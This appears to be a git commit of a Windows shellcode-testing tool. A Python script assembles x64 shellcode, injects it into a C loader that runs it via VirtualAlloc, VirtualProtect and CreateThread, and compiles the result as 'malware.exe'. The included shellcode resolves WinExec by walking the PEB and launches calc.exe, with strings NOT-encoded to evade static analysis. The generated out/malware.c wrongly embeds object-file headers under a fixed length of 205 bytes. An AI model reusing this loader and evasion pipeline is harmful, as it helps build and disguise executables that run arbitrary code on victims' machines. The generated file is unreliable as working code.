init

.gitignore

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+out/
+out

README.md

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+# Shellcoder.py
+
+Write your shellcode in Assembly and execute it with one command!
+
+This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
+
+## Usage
+
+Shellcoder most probably should be used on Windows because of the MSVC requirement.
+
+```powershell
+# Run script
+python shellcoder.py
+```
+
+## External dependencies
+
+- Python 3
+- NASM (Netwide Assembler)
+- Visual Studio 2022

loader.c

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+#include <windows.h>
+
+void main() {
+  void* exec;
+  BOOL rv;
+  HANDLE th;
+  DWORD oldprotect = 0;
+
+  // Shellcode
+  unsigned char payload[] = ":PAYLOAD:";
+  unsigned int payload_len = 205;
+  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+  RtlMoveMemory(exec, payload, payload_len);
+  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
+  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
+  WaitForSingleObject(th, -1);
+
+}

out/malware.c

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+#include <windows.h>
+
+void main() {
+  void* exec;
+  BOOL rv;
+  HANDLE th;
+  DWORD oldprotect = 0;
+
+  // Shellcode
+  unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0";
+  unsigned int payload_len = 205;
+  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+  RtlMoveMemory(exec, payload, payload_len);
+  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
+  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
+  WaitForSingleObject(th, -1);
+
+}

shellcode.asm

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+; Compile & get shellcode from Kali:
+;   nasm -f win64 popcalc.asm -o popcalc.o
+;   for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
+; Get kernel32.dll base address
+xor rdi, rdi            ; RDI = 0x0
+mul rdi                 ; RAX&RDX =0x0
+mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
+mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
+mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
+mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
+mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
+mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
+mov r8, rbx             ; RBX & R8 = &kernel32.dll
+
+; Get kernel32.dll ExportTable Address
+mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
+add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
+xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
+add cx, 0x88ff
+shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
+mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
+add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
+
+; Get &AddressTable from Kernel32.dll ExportTable
+xor r10, r10
+mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
+add r10, r8             ; R10 = &AddressTable
+
+; Get &NamePointerTable from Kernel32.dll ExportTable
+xor r11, r11
+mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
+add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
+
+; Get &OrdinalTable from Kernel32.dll ExportTable
+xor r12, r12
+mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
+add r12, r8             ; R12 = &OrdinalTable
+
+jmp short apis
+
+; Get the address of the API from the Kernel32.dll ExportTable
+getapiaddr:
+pop rbx                 ; save the return address for ret 2 caller after API address is found
+pop rcx                 ; Get the string length counter from stack
+xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
+mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack 
+push rcx                ; push the string length counter to stack
+loop:
+mov rcx, [rsp]          ; reset the string length counter from the stack
+xor rdi,rdi             ; Clear RDI for setting up string name retrieval
+mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
+add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
+mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
+repe cmpsb              ; Compare strings at RDI & RSI
+je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API 
+incloop:
+inc rax
+jmp short loop
+
+; Find the address of GetProcAddress by using the last value of the Counter
+resolveaddr:
+pop rcx                 ; remove string length counter from top of stack
+mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
+mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
+add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
+push rbx                ; place the return address from the api string call back on the top of the stack
+ret                     ; return to API caller
+
+apis:                   ; API Names to resolve addresses
+; WinExec | String length : 7
+xor rcx, rcx
+add cl, 0x7                 ; String length for compare string
+mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 
+not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
+shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
+push rax
+push rcx                    ; push the string length counter to stack
+call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
+mov r14, rax                ; R14 = Kernel32.WinExec Address
+
+; UINT WinExec(
+;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
+;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
+; );
+xor rcx, rcx
+mul rcx                     ; RAX & RDX & RCX = 0x0
+; calc.exe | String length : 8
+push rax                    ; Null terminate string on stack
+mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
+not rax
+;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
+push rax                    ; RSP = "calc.exe",0x0
+mov rcx, rsp                ; RCX = "calc.exe",0x0
+inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
+sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
+call r14                    ; Call WinExec("calc.exe", SW_HIDE)

shellcoder.py

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+#!/usr/bin/env python3
+#
+# Shellcoder.py : 
+#
+# Author: Print3M (https://github.com/Print3M)
+# 
+# This script helps automate the shellcode testing process.
+# It takes an Assembly file with shellcode, compiles
+# it into machine code (NASM), generates a payload in C with that,
+# and pastes it into the loader C file. Finally, the prepared C file
+# is compiled using MSVC. With this script you go from Assembly
+# shellcode to executable file with one command! 
+#   
+# External dependencies:
+#   - Python 3
+#   - NASM (Netwide Assembler)
+#   - Visual Studio 2022
+
+import subprocess
+import os
+import sys
+
+# Directory with output files
+OUT_DIR = "out"
+
+# Utility files
+SHELLCODE_INPUT_FILE = "shellcode.asm"
+SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
+LOADER_INPUT_FILE = "loader.c"
+LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
+
+# String to be replaced by generated payload
+PAYLOAD_STRING = ":PAYLOAD:"
+
+# Name of final binary output file
+BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe"
+
+# Batch script with Visual Studio compiler environment variables
+MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
+
+
+def is_cmd_available(cmd: str):
+    try:
+        subprocess.call(cmd, text=True)
+    except FileNotFoundError:
+        return False
+    
+    return True
+
+
+def assert_cmd(cmd: str):
+    if (is_cmd_available(cmd)):
+        return 
+
+    print(f"[!] command not found: {cmd}", file=sys.stderr)    
+    sys.exit(-1)
+
+
+if __name__ == "__main__":
+    # Check if NASM is available
+    assert_cmd("nasm")
+
+    # Prepare output directory
+    os.makedirs(OUT_DIR, exist_ok=True)
+
+    # Compile Assembly
+    subprocess.run(
+        ["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
+    )
+
+    print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
+
+    # Prepare C array with shellcode payload
+    payload = ""
+    with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
+        bytes = bytearray(f.read())
+
+    size = len(bytes)
+
+    for byte in bytes:
+        payload += "\\" + hex(byte).lstrip("0")
+
+    print(f"[+] Payload size: {size} bytes")
+
+    # Inject payload into loader source code
+    with open(LOADER_INPUT_FILE, "r") as f:
+        loader = f.read()
+
+    loader = loader.replace(PAYLOAD_STRING, payload)
+
+    with open(LOADER_OUTPUT_FILE, "w") as f:
+        f.write(loader)
+
+    print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}")
+
+    # Compile final binary
+    print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
+
+    cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
+    proc = subprocess.run(cmd, check=True, text=True)
+
+    print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")